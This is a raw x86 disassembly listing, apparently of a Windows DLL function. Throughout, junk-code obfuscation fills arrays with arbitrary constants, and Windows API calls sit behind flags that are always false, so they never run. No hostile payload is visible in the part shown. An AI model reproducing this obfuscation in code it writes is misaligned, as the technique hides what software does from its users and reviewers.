jmp 0x1000a237
xor eax, eax
lea edi, [eax + 1]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x6b8]
call fcn.10028a14
xor edx, edx
mov esi, dword [eax]
mov eax, dword [ebp - 0x30]
cmp edi, eax
mov eax, dword [ebp - 0xe0]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setl cl
xor edx, edx
cmp esi, ecx
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x3c]
inc ecx
cmp ecx, 0xffae3c77
sbb ecx, ecx
inc ecx
sub eax, ecx
jne 0x1000a28b
mov esi, eax
jmp 0x1000a290
xor eax, eax
lea esi, [eax + 1]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x6b8]
call fcn.10028a14
or edi, 0xffffffff
mov dword [eax], esi
mov dword [ebp - 0x30], esi
jmp 0x1000a2cb
mov eax, 0xc7e9a03a
mov dword [ebp - 0xc40], eax
mov dword [ebp - 0xc3c], eax
mov dword [ebp - 0xc38], eax
mov dword [ebp - 0xc34], eax
inc dword [ebp - 0xc38]
mov dword [ebp - 0x20], 0xffffffe7
jmp 0x1000a2f9
xor eax, eax
mov dword [ebp - 0x40], 0xbff0
inc eax
push eax
call fcn.10028a14
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x54], 0xfff9
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x33
lea ecx, [ebp - 0xa6c]
jne 0x1000a2d4
mov byte [ebp - 4], 8
call fcn.10028a0f
dec dword [ebp - 0x28]
push 2
pop ebx
jns 0x1000a142
push 3
pop esi
lea ecx, [ebp - 0x6b8]
mov dword [ebp - 4], edi
call fcn.10028a0f
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], ebx
je 0x1000a0ba
xor eax, eax
push 4
mov dword [ebp - 0x20], eax
pop ecx
jmp 0x1000a352
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf8c], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1000a341
mov dword [ebp - 0x28], 0xfcb50bf3
lea ecx, [ebp - 0x1178]
mov dword [ebp - 0x40], edi
xor eax, eax
mov dword [ebp - 0x40], 0x7b051af7
inc eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0x6e74e800
push esi
call fcn.100289a7
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x54], 0xfffffff6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000a3be
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb2c], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000a3a6
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000a3e4
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1178]
call fcn.10028a14
mov dword [eax], 0xecb302af
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000a3c6
xor eax, eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x1000a459
mov dword [ebp - 0x2c], 0xe864896e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0xb2c]
mov eax, dword [ebp - 0x28]
imul ecx, dword [ebp + eax*4 - 0xb2c]
test ecx, ecx
jne 0x1000a416
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xb2c]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xb2c]
cmp eax, 0x71dfd947
sete cl
cmp ecx, edi
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1000a454
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_CreateDialogParamA]
dec dword [ebp - 0x28]
jns 0x1000a3ec
dec dword [ebp - 0x54]
lea ecx, [ebp - 0x1178]
mov dword [ebp - 4], edi
call fcn.10028a0f
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x1c], eax
mov edi, 0xfffa
cmp dword [ebp - 0x1c], 0xfffffffe
jl 0x1000a81a
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp - 0x1e0]
call fcn.100289a7
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000a4d0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1e0]
call fcn.10028a14
mov dword [eax], 0xaa9ac70c
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1000a4ac
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.10028a14
mov dword [eax], 0xffffffe9
jmp 0x1000a7e0
mov dword [ebp - 0x28], 0x45d811f0
xor eax, eax
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1000a7d2
mov dword [ebp - 0x14], 0x6721f7d9
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x28], eax
jne 0x1000a518
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x1e0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.10028a14
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
xor ecx, ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
test eax, eax
setns cl
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x30], 0x1c
jmp 0x1000a7a8
or eax, 0xffffffff
lea ecx, [ebp - 0x954]
mov dword [ebp - 0x24], eax
push 4
mov dword [ebp - 0x54], eax
pop eax
push eax
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 0xc
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000a5a9
push ecx
pop edi
push dword [ebp - 0x14]
lea ecx, [ebp - 0x954]
call fcn.10028a14
mov dword [eax], 0x51a330c1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1000a586
xor eax, eax
mov edi, 0xfffa
cmp dword [ebp - 0x3c], eax
je 0x1000a5c5
push eax
lea ecx, [ebp - 0x1e0]
call fcn.10028a14
cmp dword [eax], 0
je 0x1000a5c3
mov eax, ebx
jmp 0x1000a5c5
xor eax, eax
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x1e0]
xor eax, eax
push eax
call fcn.10028a14
mov edx, dword [ebp - 0x24]
xor ecx, ecx
add edx, dword [eax]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
sete cl
xor eax, eax
add ecx, 8
je 0x1000a77e
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1000a615
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbe8], 0x81dd571b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000a5fc
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000a635
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x898], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000a61d
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1000a7b4
mov dword [ebp - 0x24], 0xffffffe5
cmp dword [ebp - 0x24], 0xffffffe7
jl 0x1000a785
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x24], eax
je 0x1000a687
cmp dword [ebp - 0x14], eax
jne 0x1000a662
dec dword [ebp - 0xbe4]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x894]
mov eax, dword [ebp - 0x890]
mov eax, dword [ebp - 0x894]
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xd68e480b
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
neg ecx
cmp ecx, 0x298b2365
setne al
xor ecx, ecx
cmp eax, 0x12f0
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 0xbb84
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
or eax, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 0x54]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
cmp ecx, 0x7196
jl 0x1000a702
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x20]
neg ecx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x20]
je 0x1000a724
xor eax, eax
lea ecx, [ebp - 0x1e0]
push eax
call fcn.10028a14
xor eax, eax
lea ecx, [ebp - 0x1e0]
push eax
call fcn.10028a14
mov eax, dword [ebp - 0x894]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x894]
mov eax, dword [ebp - 0x20]
sub edx, edi
neg edx
push ebx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x954]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
call fcn.10028a14
push 0
dec dword [eax]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe7
pop eax
jge 0x1000a64f
jmp 0x1000a785
mov dword [ebp - 0x34], 0xe761d3f
push eax
lea ecx, [ebp - 0x1e0]
call fcn.10028a14
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x954]
cmp dword [eax], 0
jne 0x1000a7be
call fcn.10028a0f
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x2b
je 0x1000a55b
jmp 0x1000a7c3
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x954]
call fcn.10028a0f
inc dword [ebp - 0x28]
push 0
pop eax
cmp dword [ebp - 0x28], ebx
jl 0x1000a506
push eax
lea ecx, [ebp - 0x1e0]
call fcn.10028a14
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x1e0]
push eax
call fcn.10028a14
cmp dword [eax], 0x10
jg 0x1000a4e7
or eax, 0xffffffff
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 4], eax
call fcn.10028a0f
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffe
jge 0x1000a488
push 2
xor eax, eax
pop ebx
mov dword [ebp - 0x54], 0x57a55752
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1000a841
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x610], 0xd7f825e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000a829
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000a861
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x118], 0x87013dce
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000a849
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1000a881
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x358], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000a869
xor eax, eax
mov dword [ebp - 0x114], ebx
cmp dword [ebp - 0x114], eax
jl 0x1000a8eb
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1000a8a7
push eax
push 0x1ec7
push eax
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1000a8e3
push 0x631
push 0x790
push 0x98f
push 0x2603
push 0x1866
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
xor eax, eax
dec dword [ebp - 0x114]
jns 0x1000a88f
mov dword [ebp - 0x354], ebx
cmp dword [ebp - 0x354], eax
jl 0x1000aa33
mov dword [ebp - 0x1c], 0xd2ab60e7
mov dword [ebp - 0x34], 0x5aba9a98
mov dword [ebp - 0x1c], eax
jmp 0x1000aa06
mov eax, dword [ebp + eax*4 - 0x610]
xor ecx, ecx
mov eax, dword [ebp - 0x354]
inc ecx
sub ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
add eax, 0x5721
jne 0x1000a948
cmp dword [ebp - 0x34], eax
jne 0x1000a948
mov ecx, eax
jmp 0x1000a94d
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, 0xe67e
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x118]
sub edx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x610]
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0x792891f4
setle al
xor ecx, ecx
sub eax, dword [ebp - 0x610]
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x54]
add edx, 0xe769
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x354]
mov eax, dword [ebp + eax*4 - 0x610]
cmp eax, edx
sete cl
xor edx, edx
mov dword [ebp - 0x610], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x118]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x118]
mov ecx, dword [ebp - 0x354]
mov eax, dword [ebp - 0x1c]
neg ecx
mov eax, dword [ebp + eax*4 - 0x118]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x118]
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp ecx, 0x59141a9
setge dl
mov dword [ebp + eax*4 - 0x118], edx
inc dword [ebp - 0x1c]
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x354]
jle 0x1000a913
cmp dword [ebp + eax*4 - 0x610], 0
jne 0x1000aa31
dec dword [ebp - 0x354]
push 0
pop eax
jns 0x1000a8fd
xor eax, eax
xor edi, edi
mov dword [ebp - 0x1c], 0xfb0b0297
inc edi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x40], 0xb817
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1000aa69
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74], ecx
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1000aa52
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1000ac88
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x34], 0x734bd47c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x1c]
sub ecx, dword [ebp + eax*4 - 0x74]
add ecx, 0xd606
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, 0xe215
mov eax, 0xf1a969ac
setge cl
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor ebx, ebx
neg ecx
imul ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x74]
cmp ecx, 0x237f
setne bl
xor edx, edx
add ebx, 0x17a84e60
cmp ebx, eax
mov eax, dword [ebp - 0x74]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
neg ecx
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x1c]
inc ecx
imul ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x1c]
add ecx, dword [ebp + eax*4 - 0x74]
je 0x1000aba1
xor eax, eax
mov dword [ebp - 0x54], 0x1a6f
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1000ab95
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x1000ab87
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0x6ac39b39
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1000ab7c
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1000ab71
call dword [sym.imp.USER32.dll_WaitMessage]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x1000ab60
or ecx, 0xffffffff
inc dword [ebp - 0x54]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1000ab4e
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1000ab40
mov dword [ebp - 0x28], 0xfffffff8
jmp 0x1000ac77
movdqa xmm0, xmmword [0x10008140]
lea eax, [ebp - 0x1340]
push eax
lea eax, [ebp - 0x1350]
push eax
lea ecx, [ebp - 0x1468]
movdqu xmmword [ebp - 0x1350], xmm0
call fcn.10028a23
lea ecx, [ebp - 0x20a]
mov esi, eax
call fcn.1000935a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x8b0]
push dword [esi]
call fcn.100289e9
push 3
lea ecx, [ebp - 0x8b0]
mov dword [ebp - 4], 0xd
call fcn.10028a14
push 3
lea ecx, [ebp - 0x8b0]
mov esi, eax
call fcn.10028a14
mov ecx, dword [esi]
xor edx, edx
push 3
pop esi
cmp ecx, dword [eax]
setne dl
xor eax, eax
cmp edx, edi
setl al
cmp eax, dword [ebp - 0x34]
je 0x1000ac42
push esi
lea ecx, [ebp - 0x8b0]
call fcn.10028a14
push edi
lea ecx, [ebp - 0x8b0]
call fcn.10028a14
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1000ac44
mov eax, edi
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1000ac66
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
or eax, 0xffffffff
lea ecx, [ebp - 0x8b0]
mov dword [ebp - 4], eax
call fcn.10028a0f
inc dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jle 0x1000aa75
push 2
pop ebx
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1000acb7
push eax
push 0x1b90
push 0x676
push 0x269
push 0xd19
push 0x1b26
push 0x1703
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 4
pop eax
push eax
lea ecx, [ebp - 0x77c]
call fcn.100289a7
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0xe40]
mov dword [ebp - 0x30], 0x19d29be1
push edi
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 0xf
push 4
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1000ad0e
push dword [ebp - 0x24]
lea ecx, [ebp - 0x77c]
call fcn.10028a14
push 4
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1000acf1
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000ad2d
or ecx, 0xffffffff
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x11f8], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000ad19
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1000ad56
push dword [ebp - 0x24]
lea ecx, [ebp - 0xe40]
call fcn.10028a14
mov dword [eax], 0xc01e
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x1000ad35
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jg 0x1000ae65
mov dword [ebp - 0x20], 0x4e6d4f28
mov dword [ebp - 0x40], 0xd5493e6
mov dword [ebp - 0x40], 0x6a7f4ea1
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x40], 0x13f5e3d1
mov dword [ebp - 0x40], 0xcaea0a9f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000adac
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1598], 0x3703acb6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000ad94
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1000ae48
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000add8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9ec], 0xba07e4fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000adc0
xor eax, eax
mov dword [ebp - 0x9e8], eax
cmp dword [ebp - 0x9e8], esi
jg 0x1000ae3f
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x77c]
push dword [ebp - 0x30]
call fcn.10028a14
mov dword [ebp - 0x11f4], 0xffff0005
lea ecx, [ebp - 0x77c]
push dword [ebp - 0x30]
call fcn.10028a14
push dword [ebp - 0x30]
lea ecx, [ebp - 0x77c]
call fcn.10028a14
xor ecx, ecx
push 0
cmp dword [eax], 0x3ddc
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x9e8]
pop eax
cmp dword [ebp - 0x9e8], esi
jle 0x1000ade6
dec dword [ebp - 0x20]
jns 0x1000adb8
push eax
lea ecx, [ebp - 0xe40]
call fcn.10028a14
push 0
inc dword [eax]
inc dword [ebp - 0x30]
pop eax
cmp dword [ebp - 0x30], esi
jle 0x1000ad62
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1000ae85
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
lea ecx, [ebp - 0xe40]
call fcn.10028a0f
or edi, 0xffffffff
lea ecx, [ebp - 0x77c]
mov dword [ebp - 4], edi
call fcn.10028a0f
xor eax, eax
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x14], eax
jmp 0x1000aec0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7ac], 1
inc dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1000aeaf
mov eax, dword [ebp - 0x7ac]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0xfffffffb
cmp dword [ebp - 0x20], 0x18
jl 0x1000afad
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp - 0x718]
call fcn.100289a7
xor eax, eax
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000af26
push dword [ebp - 0x14]
lea ecx, [ebp - 0x718]
call fcn.10028a14
mov dword [eax], 0x2a1836cc
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1000af02
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x718]
call fcn.10028a14
mov dword [eax], 0xfffffff3
jmp 0x1000af7c
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1000af6e
push 0x25e7
push 0xca6
push 0x2e7
push 0x894
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
xor eax, eax
push eax
lea ecx, [ebp - 0x718]
call fcn.10028a14
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x718]
push eax
call fcn.10028a14
cmp dword [eax], 0xffffffe8
je 0x1000af3a
lea ecx, [ebp - 0x718]
mov dword [ebp - 4], edi
call fcn.10028a0f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x18
jge 0x1000aee5
push 2
pop ebx
mov eax, 0xe91a049f
xor edi, edi
mov dword [ebp - 0xf9c], eax
inc edi
mov dword [ebp - 0xf98], eax
mov dword [ebp - 0xf94], eax
mov dword [ebp - 0xf90], eax
xor eax, eax
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x2c], 0xc0021fbb
mov dword [ebp - 0x40], 0xfffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000b000
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x152c], 0x585ed065
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000afe8
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], ebx
jne 0x1000b28f
or edi, 0xffffffff
mov dword [ebp - 0x28], 0x2d149feb
lea ecx, [ebp - 0x628]
mov dword [ebp - 0x30], edi
push esi
call fcn.100289a7
mov dword [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x4c], 0x479b69b2
mov dword [ebp - 0x54], 0x73468807
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000b065
push dword [ebp - 0x18]
lea ecx, [ebp - 0x628]
call fcn.10028a14
mov dword [eax], 0xe814b733
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000b047
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000b07b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdc], 0
inc dword [ebp - 0x18]
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jl 0x1000b06a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x1000b270
mov dword [ebp - 0x40], edi
lea ecx, [ebp - 0xa84]
mov dword [ebp - 0x3c], 0x47d1afd0
mov dword [ebp - 0x40], 0x70cadd63
push ebx
call fcn.100289a7
mov byte [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x20], 0x1e69d086
mov dword [ebp - 0x14], eax
jmp 0x1000b0dd
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa84]
call fcn.10028a14
mov dword [eax], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000b0c6
dec dword [ebp - 0xdc]
lea ecx, [ebp - 0x628]
mov esi, dword [ebp - 0xdc]
push dword [ebp - 0x28]
call fcn.10028a14
push dword [ebp - 0x28]
xor ebx, ebx
lea ecx, [ebp - 0x628]
cmp dword [eax], 0xbf9a
setl bl
call fcn.10028a14
xor ecx, ecx
cmp dword [eax], ebx
setg cl
cmp ecx, esi
je 0x1000b1fb
mov dword [ebp - 0x40], 0x982b
xor eax, eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x40], 0xcab43068
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000b15a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1618], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000b142
xor eax, eax
push eax
lea ecx, [ebp - 0xa84]
call fcn.10028a14
inc dword [eax]
jne 0x1000b1de
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1000b176
